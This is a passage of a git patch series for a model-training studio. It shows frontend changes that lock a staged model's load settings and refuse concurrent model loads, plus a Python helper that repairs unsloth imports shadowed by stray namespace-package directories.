From 49d4c61623d55ffd36a5c94979ab651c6fe5c68c Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Mon, 22 Jun 2026 02:19:09 -0300
Subject: [PATCH 001/306] studio/frontend: Prevent staged model's load settings
 from disappearing while it loads (#6458)

* Studio: keep staged model's load settings visible while it loads

* Studio: pin staged load settings at click time, match loading pick by variant

* Studio: drop any stale staged pick after a successful load

* Studio: disable staged Load button while a different model loads

When a model is staged with "Load on selection" off and a different model (or a different GGUF variant of the same repo) is already loading, selectModel's in-flight-load guard matches on id + native path token only, so the click was silently deduped to a no-op. The staged Load button stayed enabled but did nothing, and the stale stage was then cleared once the other load finished.

Disable the staged Load button (showing "Another model loading...") whenever a different model is loading, so it is no longer an enabled no-op. The stage stays put and the user can retry once the in-flight load settles.

* Studio: refuse loading a different model while one is in flight

The in-flight-load guard in selectModel matched on id + native path token only, so a different GGUF variant of the same repo fell through and was silently deduped to a no-op. The earlier commit disabled the staged Load button for this case, but other entry points (e.g. selecting a different quant from the model picker with "Load on selection" on) still hit selectModel directly and no-op'd.

Make the guard variant-aware (id + GGUF variant + native path token) and, for a genuinely different model while a load is in flight, surface a "Another model is already loading" toast instead of silently returning. The load path has no clean supersession, so a second concurrent load is not started; the user is told to wait or cancel. Centralized in selectModel so every entry point is covered.

* Studio: lock staged model's load settings while it loads

The staged Load button snapshots context length, KV cache dtype, speculative
decoding, draft tokens, and tensor parallelism at click time, but the settings
sheet stays mounted during the load, so edits made while "Loading..." shows were
silently ignored and then overwritten by the load response. Disable those
controls while the staged pick is loading so the visible state matches what the
run actually uses.

* Studio: refuse to stage a model while another load is in flight

With Load on selection off, selecting a model mid-load staged it into
pendingSelection and showed a disabled "Another model loading..." button,
implying the user could retry once the load settled. The post-load cleanup then
treated that queued pick as stale and silently cancelled and cleared it. Refuse
to stage while a load (or a cancel's background unload) is in flight: stageModel
no-ops in that state so every entry point (the chat selector and the Hub) is
covered, and stageOrLoad surfaces a toast on the common path. The immediate-load
path is unchanged; selectModel already rejects a concurrent load.

* Tighten staged-load guard comments

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../frontend/src/features/chat/chat-page.tsx  |  26 ++--
 .../src/features/chat/chat-settings-sheet.tsx |  96 ++++++++++---
 .../chat/hooks/use-chat-model-runtime.ts      | 135 ++++++++++++------
 .../hooks/use-staged-model-preparation.ts     |  12 +-
 .../chat/stores/chat-runtime-store.ts         |  24 +++-
 5 files changed, 211 insertions(+), 82 deletions(-)

diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 758aa00e1a..83452c2ea8 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -1607,6 +1607,14 @@ export function ChatPage({
         await selectModel(selection);
         return;
       }
+      // Refuse staging while a load is in flight (it would be silently dropped);
+      // the immediate-load branch above is already guarded in selectModel.
+      if (store.modelLoading) {
+        toast.info("Another model is already loading", {
+          description: "Wait for it to finish or cancel it first.",
+        });
+        return;
+      }
       // Tear down any existing staged pick first so its in-flight download is
       // cancelled, not left running after we rebind to the new pick.
       abandonStaged();
@@ -2495,6 +2503,7 @@ export function ChatPage({
           );
         }}
         externalProviderType={activeExternalProviderType}
+        loadingModel={loadingModel}
         onReloadModel={() => {
           const state = useChatRuntimeStore.getState();
           if (state.params.checkpoint) {
@@ -2512,22 +2521,23 @@ export function ChatPage({
           if (!pending) return;
           const keyAtLoad = chatContextKey;
           // forceReload: the staged model isn't loaded yet, so bypass the
-          // same-checkpoint dedupe (and selectModel clears pendingSelection).
-          // keepSpeculative: honor the speculative mode set on the sidebar.
+          // same-checkpoint dedupe. keepSpeculative: honor the speculative mode
+          // set on the sidebar.
           void selectModel({
             ...pending,
             forceReload: true,
             keepSpeculative: true,
             throwOnError: true,
           }).catch(() => {
-            // Recoverable failure (expired token, gated repo, OOM…): selectModel
-            // cleared the pick but left the edited knobs intact.
+            // Recoverable failure (expired token, gated repo, OOM…): the pick is
+            // cleared only on success, so it normally stays staged with edited
+            // knobs intact — nothing to restore.
             const store = useChatRuntimeStore.getState();
-            // A pick staged meanwhile owns the knobs now; leave it untouched.
+            // Still staged (this pick, or a newer one queued meanwhile): leave it.
             if (store.pendingSelection) return;
-            // Restore (not re-stage, which would reset the knobs) only if the
-            // staged-load is still wanted: same chat context, sheet still open,
-            // page still mounted.
+            // Cleared mid-load (sheet closed / switched chats). Re-stage only if
+            // the staged-load is still wanted: same chat context, sheet still
+            // open, page still mounted.
             const stillWanted =
               mountedRef.current &&
               store.settingsPanelOpen &&
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index bf0cfcb277..77d7cf4c6d 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -52,6 +52,7 @@ import {
   SheetTitle,
 } from "@/components/ui/sheet";
 import { Slider } from "@/components/ui/slider";
+import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { Textarea } from "@/components/ui/textarea";
 import { InfoHint } from "@/components/ui/info-hint";
@@ -99,6 +100,7 @@ import {
 } from "./provider-capabilities";
 import {
   isPendingGguf,
+  pendingSelectionMatches,
   useChatRuntimeStore,
 } from "./stores/chat-runtime-store";
 import { RetrievalSettingsSection } from "@/features/rag/components/retrieval-settings-section";
@@ -145,6 +147,7 @@ function NumericValueInput({
   className,
   ariaLabel,
   size: sizeAttr,
+  disabled = false,
 }: {
   value: number;
   min?: number;
@@ -155,6 +158,7 @@ function NumericValueInput({
   className?: string;
   ariaLabel?: string;
   size?: number;
+  disabled?: boolean;
 }) {
   const [focused, setFocused] = useState(false);
   const [draft, setDraft] = useState("");
@@ -177,6 +181,7 @@ function NumericValueInput({
     <input
       type="text"
       inputMode="decimal"
+      disabled={disabled}
       size={sizeAttr}
       /* Fixed 4ch pill; grows only when a longer value would clip. */
       style={{ width: `calc(${Math.max(displayed.length, 4)}ch + 18px)` }}
@@ -438,6 +443,14 @@ interface ChatSettingsPanelProps {
    */
   externalProviderType?: string | null;
   onReloadModel?: () => void;
+  /** The in-flight load (id + GGUF variant + native path token), or null when
+   *  idle. Used to show a loading state for the staged pick only — not for an
+   *  unrelated load or a cancel's background unload. */
+  loadingModel?: {
+    id: string;
+    ggufVariant?: string | null;
+    nativePathToken?: string | null;
+  } | null;
   /** Loads the staged `pendingSelection` (deferred "Load on selection" flow). */
   onLoadPendingModel?: () => void;
   /** Download progress (0–1) for a staged GGUF being fetched, or null when idle. */
@@ -457,6 +470,7 @@ export function ChatSettingsPanel({
   onExternalProviderChange,
   externalProviderType = null,
   onReloadModel,
+  loadingModel = null,
   onLoadPendingModel,
   stagedDownloadFraction,
   onCancelStagedDownload,
@@ -475,6 +489,19 @@ export function ChatSettingsPanel({
     !isExternalModel || Boolean(providerCapabilities?.presencePenalty);
   const isMobile = useIsMobile();
   const pendingSelection = useChatRuntimeStore((s) => s.pendingSelection);
+  // "Loading" only when the in-flight load IS this staged pick (full id + GGUF
+  // variant + native token match), not an unrelated load or a cancel's
+  // background unload. The variant matters: a different quant of the same repo
+  // staged mid-load must not read as this one loading.
+  const stagedLoading =
+    loadingModel != null &&
+    pendingSelectionMatches(pendingSelection, {
+      id: loadingModel.id,
+      ggufVariant: loadingModel.ggufVariant,
+      nativePathToken: loadingModel.nativePathToken,
+    });
+  // Load settings are snapshotted at click time; lock them while loading.
+  const modelControlsDisabled = stagedLoading;
   const abandonStagedModel = useChatRuntimeStore((s) => s.abandonStagedModel);
   const resetModelSettingsToLoaded = useChatRuntimeStore(
     (s) => s.resetModelSettingsToLoaded,
@@ -867,10 +894,14 @@ export function ChatSettingsPanel({
             {pendingSelection && (
               <Alert className="rounded-[14px] border-primary/30 bg-primary/5 px-3 py-2">
                 <AlertTitle className="text-[12px] font-medium">
-                  {stagedLabel} is staged, not loaded yet
+                  {stagedLoading
+                    ? `Loading ${stagedLabel}…`
+                    : `${stagedLabel} is staged, not loaded yet`}
                 </AlertTitle>
                 <AlertDescription className="text-[11.5px] leading-[1.45] text-muted-foreground">
-                  Set the options below, then choose Load model to load it.
+                  {stagedLoading
+                    ? "Applying your settings."
+                    : "Set the options below, then choose Load model to load it."}
                 </AlertDescription>
               </Alert>
             )}
@@ -898,6 +929,7 @@ export function ChatSettingsPanel({
                       }}
                       ariaLabel="Context Length"
                       size={8}
+                      disabled={modelControlsDisabled}
                     />
                   </div>
                   <Slider
@@ -919,6 +951,7 @@ export function ChatSettingsPanel({
                       );
                     }}
                     className="panel-slider"
+                    disabled={modelControlsDisabled}
                   />
                   {ggufMaxContextLength != null &&
                     typeof ctxDisplayValue === "number" &&
@@ -944,6 +977,7 @@ export function ChatSettingsPanel({
                   </div>
                   <div className="flex shrink-0 items-center gap-1.5">
                     <Select
+                      disabled={modelControlsDisabled}
                       value={kvCacheDtype ?? "f16"}
                       onValueChange={(v) => {
                         setKvCacheDtype(v === "f16" ? null : v);
@@ -983,6 +1017,7 @@ export function ChatSettingsPanel({
                   </div>
                   <div className="flex shrink-0 items-center gap-1.5">
                     <Select
+                      disabled={modelControlsDisabled}
                       value={speculativeType ?? "auto"}
                       onValueChange={(v) => {
                         setSpeculativeType(v);
@@ -1057,6 +1092,7 @@ export function ChatSettingsPanel({
                     </div>
                     <input
                       type="number"
+                      disabled={modelControlsDisabled}
                       min={1}
                       max={16}
                       step={1}
@@ -1097,6 +1133,7 @@ export function ChatSettingsPanel({
                     className="panel-switch shrink-0"
                     checked={tensorParallel}
                     onCheckedChange={setTensorParallel}
+                    disabled={modelControlsDisabled}
                     data-test-id="tensor-parallel-switch"
                   />
                 </div>
@@ -1118,31 +1155,46 @@ export function ChatSettingsPanel({
                     {Math.round((stagedDownloadFraction ?? 0) * 100)}%
                   </p>
                 )}
-                <div className="flex flex-wrap gap-1.5">
+                {stagedLoading ? (
+                  // Mid-load: nothing to load or abandon until it settles, so disable.
                   <Button
                     type="button"
-                    onClick={() => onLoadPendingModel?.()}
-                    disabled={stagedDownloading}
+                    disabled
                     size="sm"
-                    className="h-7 px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
+                    className="h-7 w-fit px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
                   >
-                    Load model
+                    <Spinner className="size-3.5" />
+                    Loading…
                   </Button>
-                  <Button
-                    type="button"
-                    variant="outline"
-                    size="sm"
-                    onClick={() => {
-                      // Cancel abandons the stage; if a download is mid-flight,
-                      // stop it too rather than leaving it running headless.
-                      if (stagedDownloading) onCancelStagedDownload?.();
-                      abandonStagedModel();
-                    }}
-                    className="h-7 px-3 text-[12px] font-medium tracking-nav text-muted-foreground"
-                  >
-                    Cancel
-                  </Button>
-                </div>
+                ) : (
+                  <div className="flex flex-wrap gap-1.5">
+                    <Button
+                      type="button"
+                      onClick={() => onLoadPendingModel?.()}
+                      // Disabled while a different model is mid-load: selectModel
+                      // refuses a concurrent load, so the click could only toast.
+                      disabled={stagedDownloading || loadingModel != null}
+                      size="sm"
+                      className="h-7 px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
+                    >
+                      {loadingModel != null ? "Another model loading…" : "Load model"}
+                    </Button>
+                    <Button
+                      type="button"
+                      variant="outline"
+                      size="sm"
+                      onClick={() => {
+                        // Cancel abandons the stage; if a download is mid-flight,
+                        // stop it too rather than leaving it running headless.
+                        if (stagedDownloading) onCancelStagedDownload?.();
+                        abandonStagedModel();
+                      }}
+                      className="h-7 px-3 text-[12px] font-medium tracking-nav text-muted-foreground"
+                    >
+                      Cancel
+                    </Button>
+                  </div>
+                )}
               </div>
             ) : modelSettingsDirty ? (
               <div className="flex flex-wrap gap-1.5">
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index f8a0eb579b..134878bdac 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -25,6 +25,7 @@ import {
 } from "../api/chat-api";
 import { formatEta, formatRate } from "../utils/format-transfer";
 import {
+  pendingSelectionMatches,
   readPersistedSpeculativeType,
   resolveToolsEnabledOnLoad,
   saveSpeculativeType,
@@ -253,6 +254,7 @@ export function useChatModelRuntime() {
     displayName: string;
     isDownloaded?: boolean;
     isCachedLora?: boolean;
+    ggufVariant?: string | null;
     nativePathToken?: string | null;
   } | null>(null);
   const [loadToastDismissed, setLoadToastDismissed] = useState(false);
@@ -399,29 +401,51 @@ export function useChatModelRuntime() {
         typeof selection === "string" ? false : selection.keepSpeculative ?? false;
       // Picking/loading any model abandons a staged (deferred) selection.
       // Before the early-returns below so even a no-op re-select clears the
-      // stage, and so the Load button unmounts on first click (no double-load).
+      // stage.
       const staged = useChatRuntimeStore.getState().pendingSelection;
       if (staged) {
-        // Loading a DIFFERENT model abandons this stage, so cancel its in-flight
-        // download. Loading the staged pick itself keeps it (that download feeds
-        // this load).
-        const loadingStagedPick =
-          staged.id === modelId &&
-          (staged.ggufVariant ?? null) === (ggufVariant ?? null) &&
-          (staged.nativePathToken ?? null) === (nativePathToken ?? null);
-        if (!loadingStagedPick) cancelStagedModelDownload(staged);
-        useChatRuntimeStore.getState().setPendingSelection(null);
+        // Loading a DIFFERENT model abandons this stage. Loading the staged pick
+        // ITSELF keeps it so the sidebar can show its load settings (context, KV
+        // cache, …) during the load. Cleared on success below; on failure it's
+        // left staged so the user can retry (see onLoadPendingModel's catch).
+        const loadingStagedPick = pendingSelectionMatches(staged, {
+          id: modelId,
+          ggufVariant,
+          nativePathToken,
+        });
+        if (!loadingStagedPick) {
+          cancelStagedModelDownload(staged);
+          useChatRuntimeStore.getState().setPendingSelection(null);
+        }
       }
       const currentVariant = useChatRuntimeStore.getState().activeGgufVariant;
       if (!forceReload && (!modelId || (params.checkpoint === modelId && (ggufVariant ?? null) === (currentVariant ?? null)))) {
         return;
       }
-      // Prevent duplicate loads if already loading this model
-      if (
-        loadingModelRef.current?.id === modelId &&
-        (loadingModelRef.current?.nativePathToken ?? null) === (nativePathToken ?? null)
-      )
+      // A load is already in flight. If it's this exact pick (id + GGUF variant +
+      // native path token), ignore the duplicate click. If it's a DIFFERENT model
+      // -- crucially including a different GGUF variant of the same repo, which the
+      // old id+token-only guard wrongly treated as a duplicate and silently
+      // no-op'd -- don't start a second concurrent load (the load path has no clean
+      // supersession) and don't silently swallow the request: surface it so the
+      // user knows to wait for, or cancel, the in-flight load. Centralized here so
+      // every entry point is covered, not just the staged Load button.
+      const inFlightLoad = loadingModelRef.current;
+      if (inFlightLoad) {
+        const loadingSamePick =
+          inFlightLoad.id === modelId &&
+          (inFlightLoad.ggufVariant ?? null) === (ggufVariant ?? null) &&
+          (inFlightLoad.nativePathToken ?? null) === (nativePathToken ?? null);
+        if (loadingSamePick) return;
+        const message =
+          "Another model is already loading. Wait for it to finish or cancel it first.";
+        setModelsError(message);
+        if (throwOnError) throw new Error(message);
+        toast.info("Another model is already loading", {
+          description: "Wait for it to finish or cancel it first.",
+        });
         return;
+      }
 
       const explicitIsLora =
         typeof selection === "string" ? undefined : selection.isLora;
@@ -475,6 +499,7 @@ export function useChatModelRuntime() {
         displayName,
         isDownloaded,
         isCachedLora,
+        ggufVariant: ggufVariant ?? null,
         nativePathToken: nativePathToken ?? null,
       };
       setLoadingModel(loadInfo);
@@ -509,6 +534,21 @@ export function useChatModelRuntime() {
             stateBeforeUnload.modelRequiresTrustRemoteCode;
           const previousActiveNativePathToken =
             stateBeforeUnload.activeNativePathToken;
+          // Snapshot the load settings at click time, before the awaits below
+          // (validation, the trust dialog, unload). For a staged Load these knobs
+          // stay editable and a sheet-close revert (abandonStagedModel) can fire
+          // mid-load; reading them live just before loadModel would let the load
+          // use post-click values. The model-switch speculative reset below
+          // updates this snapshot in lock-step so non-staged loads are unchanged.
+          const loadChatTemplateOverride = stateBeforeUnload.chatTemplateOverride;
+          const loadKvCacheDtype = stateBeforeUnload.kvCacheDtype;
+          const loadCustomContextLength = stateBeforeUnload.customContextLength;
+          const loadGgufContextLength = stateBeforeUnload.ggufContextLength;
+          const loadTensorParallel = stateBeforeUnload.tensorParallel;
+          const loadActivePresetSource = stateBeforeUnload.activePresetSource;
+          const loadActiveGgufVariant = stateBeforeUnload.activeGgufVariant;
+          let loadSpeculativeType = stateBeforeUnload.speculativeType;
+          let loadSpecDraftNMax = stateBeforeUnload.specDraftNMax;
           try {
             // Lightweight pre-flight validation: avoid unloading a working model
             // if the new identifier is clearly invalid (e.g. bad HF id / path).
@@ -517,18 +557,17 @@ export function useChatModelRuntime() {
               : undefined;
             // Validate with the same effective context /load uses: a GGUF native
             // context can exceed maxSeqLength, so sizing on raw maxSeqLength could
-            // pass, unload, then have /load refuse it. Read pre-unload state; load
-            // recomputes its own value, so this leaves loading untouched.
-            const preUnloadState = useChatRuntimeStore.getState();
+            // pass, unload, then have /load refuse it. Uses the click-time
+            // snapshot (same values loadModel uses below), so the two agree.
             const validateMaxSeqLength = resolveLoadMaxSeqLength({
               modelId,
               ggufVariant,
-              customContextLength: preUnloadState.customContextLength,
-              ggufContextLength: preUnloadState.ggufContextLength,
+              customContextLength: loadCustomContextLength,
+              ggufContextLength: loadGgufContextLength,
               currentCheckpoint,
-              activeGgufVariant: preUnloadState.activeGgufVariant,
+              activeGgufVariant: loadActiveGgufVariant,
               maxSeqLength,
-              presetSource: preUnloadState.activePresetSource,
+              presetSource: loadActivePresetSource,
             });
             const validation = await validateModel({
               model_path: modelId,
@@ -586,32 +625,23 @@ export function useChatModelRuntime() {
                 specDraftNMax: null,
                 loadedSpecDraftNMax: null,
               });
+              loadSpeculativeType = persistedSpeculativeType;
+              loadSpecDraftNMax = null;
             }
 
-            const {
-              chatTemplateOverride,
-              kvCacheDtype,
-              customContextLength,
-              ggufContextLength,
-              speculativeType,
-              specDraftNMax,
-              tensorParallel,
-              activePresetSource,
-              activeGgufVariant,
-            } = useChatRuntimeStore.getState();
             const effectiveMaxSeqLength = resolveLoadMaxSeqLength({
               modelId,
               ggufVariant,
               isGguf,
-              customContextLength,
-              ggufContextLength,
+              customContextLength: loadCustomContextLength,
+              ggufContextLength: loadGgufContextLength,
               currentCheckpoint,
-              activeGgufVariant,
+              activeGgufVariant: loadActiveGgufVariant,
               maxSeqLength,
-              presetSource: activePresetSource,
+              presetSource: loadActivePresetSource,
             });
             const effectiveChatTemplateOverride =
-              chatTemplateOverride?.trim() ? chatTemplateOverride : null;
+              loadChatTemplateOverride?.trim() ? loadChatTemplateOverride : null;
             const loadResponse = await loadModel({
               model_path: modelId,
               nativePathLease: loadNativePathLease,
@@ -623,10 +653,10 @@ export function useChatModelRuntime() {
               trust_remote_code: trustRemoteCode,
               approved_remote_code_fingerprint: approvedRemoteCodeFingerprint,
               chat_template_override: effectiveChatTemplateOverride,
-              cache_type_kv: kvCacheDtype,
-              speculative_type: speculativeType,
-              spec_draft_n_max: specDraftNMax,
-              tensor_parallel: tensorParallel,
+              cache_type_kv: loadKvCacheDtype,
+              speculative_type: loadSpeculativeType,
+              spec_draft_n_max: loadSpecDraftNMax,
+              tensor_parallel: loadTensorParallel,
             });
 
             // If cancelled while loading, don't update UI to show
@@ -636,7 +666,7 @@ export function useChatModelRuntime() {
             // The load applied this spec mode, so persist the user's standing
             // preference now (the requested intent, not the resolved echo;
             // saveSpeculativeType keeps only the universal auto/ngram/off).
-            saveSpeculativeType(speculativeType);
+            saveSpeculativeType(loadSpeculativeType);
 
             const currentParams = useChatRuntimeStore.getState().params;
             setParams(
@@ -773,6 +803,25 @@ export function useChatModelRuntime() {
               }
             }
             await refresh({ signal: abortCtrl.signal });
+            // A successful load owns the shared (pick-unscoped) settings fields,
+            // so any surviving stage is stale: the just-loaded pick itself, or a
+            // pick queued for a different model mid-load whose knobs this load
+            // overwrote. Drop it. Only a DIFFERENT pick's download needs
+            // cancelling; the loaded pick's is already consumed, and cancelling
+            // it inside its post-complete linger window would flicker its card.
+            const staleStage = useChatRuntimeStore.getState().pendingSelection;
+            if (staleStage) {
+              if (
+                !pendingSelectionMatches(staleStage, {
+                  id: modelId,
+                  ggufVariant,
+                  nativePathToken,
+                })
+              ) {
+                cancelStagedModelDownload(staleStage);
+              }
+              useChatRuntimeStore.getState().setPendingSelection(null);
+            }
           } catch (error) {
             // Skip rollback if user cancelled -- model is already being unloaded.
             if (abortCtrl.signal.aborted) throw error;
diff --git a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
index d154b931d4..b11f496aa5 100644
--- a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
+++ b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
@@ -10,6 +10,7 @@ import type { DownloadJob } from "@/features/hub/download-manager/use-repo-downl
 import { fetchGgufContextLength } from "../api/chat-api";
 import {
   isPendingGguf,
+  pendingSelectionMatches,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
 
@@ -54,15 +55,12 @@ export function useStagedModelPreparation(): DownloadJob {
         nativePathToken,
       });
       // Apply only if the same model is still staged (the user may have switched
-      // picks or loaded/cancelled while the request was in flight). Native ids
-      // are display labels, not paths, so two files can share an id -- compare
-      // the path token too, or a stale response could land on the wrong pick.
+      // picks or loaded/cancelled while the request was in flight).
       const latest = useChatRuntimeStore.getState().pendingSelection;
       if (
-        latest?.id === id &&
-        (latest.ggufVariant ?? null) === (ggufVariant ?? null) &&
-        (latest.nativePathToken ?? null) === (nativePathToken ?? null) &&
-        contextLength != null
+        latest &&
+        contextLength != null &&
+        pendingSelectionMatches(latest, { id, ggufVariant, nativePathToken })
       ) {
         setPendingSelection({ ...latest, contextLength });
       }
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index e2d8701695..d8e578e790 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -453,6 +453,22 @@ export function isPendingGguf(pending: PendingModelSelection | null): boolean {
   return pending != null && hasGgufSource(pending);
 }
 
+/** Whether `pending` refers to the same model as `pick` (id + GGUF variant +
+ *  native path token, optionals null-normalized). Native ids are display labels
+ *  that can collide, so the token must match too — id alone can land on the
+ *  wrong file. */
+export function pendingSelectionMatches(
+  pending: PendingModelSelection | null,
+  pick: { id: string; ggufVariant?: string | null; nativePathToken?: string | null },
+): boolean {
+  return (
+    pending != null &&
+    pending.id === pick.id &&
+    (pending.ggufVariant ?? null) === (pick.ggufVariant ?? null) &&
+    (pending.nativePathToken ?? null) === (pick.nativePathToken ?? null)
+  );
+}
+
 type ChatRuntimeStore = {
   settingsHydrated: boolean;
   params: InferenceParams;
@@ -1455,7 +1471,10 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     set({ loadOnSelection });
   },
   setPendingSelection: (pendingSelection) => set({ pendingSelection }),
-  stageModel: (selection) =>
+  stageModel: (selection) => {
+    // Refuse staging mid-load: post-load cleanup would silently drop the queued
+    // pick. stageOrLoad toasts first for callers that can.
+    if (get().modelLoading) return;
     set((s) => {
       if (
         s.pendingSelection &&
@@ -1475,7 +1494,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
         speculativeType: readPersistedSpeculativeType(),
         specDraftNMax: null,
       };
-    }),
+    });
+  },
   abandonStagedModel: () => {
     const { pendingSelection } = get();
     if (!pendingSelection) return;

From cba73457df6ae2ba8ddcd004b68d2ee23efee290 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sun, 21 Jun 2026 22:43:31 -0700
Subject: [PATCH 002/306] Studio: self-heal unsloth namespace shadows; clearer
 failed-load messages (#6532)

* Studio: self-heal unsloth namespace-package shadows in all subprocess workers

A directory named `unsloth` (or `unsloth_zoo`) without an __init__.py on
PYTHONPATH/sys.path, a stray source checkout or a polluted PYTHONPATH, makes
`import unsloth` resolve to an empty namespace package, so a worker's
`from unsloth import FastLanguageModel` dies with a cryptic
"cannot import name ... (unknown location)".

The LLM training path already recovered from this via `_ensure_real_packages`
in trainer.py (PR #6269), but the inference, export, and embedding-training
subprocesses imported Unsloth directly with no guard. Extract that helper into
a shared, dependency-free core/import_guards.py and call it before the Unsloth
import in every subprocess: it drops the offending sys.path entries, imports
the real packages (unsloth before unsloth_zoo so the pre-zoo GPU fixes run),
then restores sys.path. trainer.py now imports the shared helper instead of its
local copy.

Covers both unsloth and unsloth_zoo and both namespace origin forms (None and
"namespace"). The existing PR #6269 test now exercises the shared helper.

* Studio: distinguish a failed model load from no model in the attach gates

A failed load never sets the checkpoint, so the image and audio attach gates
fell through to "Load a model before adding images/audio", which reads as if
the user simply forgot to pick a model rather than that the load errored. Add a
dedicated lastModelLoadError to the chat runtime store, set only when an actual
load attempt fails (not on refresh, list, status, or unload errors, which keep
using modelsError) and cleared when the next load starts. The image gate (all
three call sites) and the audio gate now use it to report a failed load and
point at the server logs, while still blocking in exactly the same cases.

* Tighten namespace-shadow guard and load-error comments
---
 studio/backend/core/export/worker.py          |  5 ++
 studio/backend/core/import_guards.py          | 53 ++++++++++++++++++
 studio/backend/core/inference/worker.py       |  5 ++
 studio/backend/core/training/trainer.py       | 54 +------------------
 studio/backend/core/training/worker.py        |  4 ++
 .../test_namespace_shadow_guard_pr6269.py     | 25 +++++----
 .../src/features/chat/api/chat-adapter.ts     |  1 +
 .../features/chat/audio-attachment-adapter.ts |  5 +-
 .../chat/hooks/use-chat-model-runtime.ts      |  6 +++
 .../src/features/chat/runtime-provider.tsx    |  1 +
 .../src/features/chat/shared-composer.tsx     |  2 +
 .../chat/stores/chat-runtime-store.ts         |  6 +++
 .../chat/utils/image-input-support.ts         | 11 +++-
 13 files changed, 113 insertions(+), 65 deletions(-)
 create mode 100644 studio/backend/core/import_guards.py

diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index 7216221f44..f03dcfa41a 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -506,6 +506,11 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
         if backend_path not in sys.path:
             sys.path.insert(0, backend_path)
 
+        # Recover from any namespace-package shadow before importing Unsloth.
+        from core.import_guards import ensure_real_packages
+
+        ensure_real_packages("unsloth_zoo", "unsloth")
+
         from core.export.export import ExportBackend
 
         import transformers
diff --git a/studio/backend/core/import_guards.py b/studio/backend/core/import_guards.py
new file mode 100644
index 0000000000..5b85a96cd2
--- /dev/null
+++ b/studio/backend/core/import_guards.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Recover `unsloth`/`unsloth_zoo` from a namespace-package shadow. Stdlib-only."""
+
+from __future__ import annotations
+
+import os
+import sys
+
+
+def ensure_real_packages(*names: str) -> None:
+    """Drop sys.path entries where a bare `<name>/` dir (no __init__.py) shadows
+    the installed package as a namespace, import the real packages, restore
+    sys.path. No-op without a shadow. Pass dependency-first (e.g. "unsloth_zoo",
+    "unsloth"); imports run dependency-last."""
+    import importlib
+    import importlib.util
+
+    bad: set = set()
+    shadowed: list = []
+    for name in names:
+        try:
+            spec = importlib.util.find_spec(name)
+        except (ImportError, ValueError, AttributeError):
+            spec = None
+        # real package -> spec.origin is its __init__; namespace shadow -> None/"namespace"
+        if spec is None or spec.origin not in (None, "namespace"):
+            continue
+        dirs = {os.path.realpath(d) for d in (spec.submodule_search_locations or [])}
+        if not dirs:
+            continue
+        shadowed.append(name)
+        for entry in sys.path:
+            pkg = os.path.join(entry or os.getcwd(), name)
+            if os.path.realpath(pkg) in dirs and not os.path.isfile(
+                os.path.join(pkg, "__init__.py")
+            ):
+                bad.add(entry)
+    if not bad:
+        return
+    saved = list(sys.path)
+    sys.path[:] = [e for e in sys.path if e not in bad]
+    for name in shadowed:
+        for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]:
+            del sys.modules[cached]
+    try:
+        importlib.invalidate_caches()
+        # import unsloth before unsloth_zoo: unsloth.__init__ runs GPU/bnb fixes zoo relies on
+        for name in reversed(names):
+            importlib.import_module(name)
+    finally:
+        sys.path[:] = saved
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 44c0f5b3be..eb31ec1062 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -716,6 +716,11 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
         _ensure_backend_on_path()
 
+        # Recover from any namespace-package shadow before importing Unsloth.
+        from core.import_guards import ensure_real_packages
+
+        ensure_real_packages("unsloth_zoo", "unsloth")
+
         from core.inference.inference import InferenceBackend
 
         import transformers
diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 0c14061be6..bdf2a6f030 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -46,58 +46,8 @@ if hasattr(torch._dynamo.config, "recompile_limit"):
     torch._dynamo.config.recompile_limit = 64
 
 
-def _ensure_real_packages(*names: str) -> None:
-    """Stop `import <name>` from binding to a namespace-package shadow.
-
-    A directory named like the package but missing __init__.py on sys.path (a
-    stray checkout, a partial clone, or a polluted PYTHONPATH) makes the path
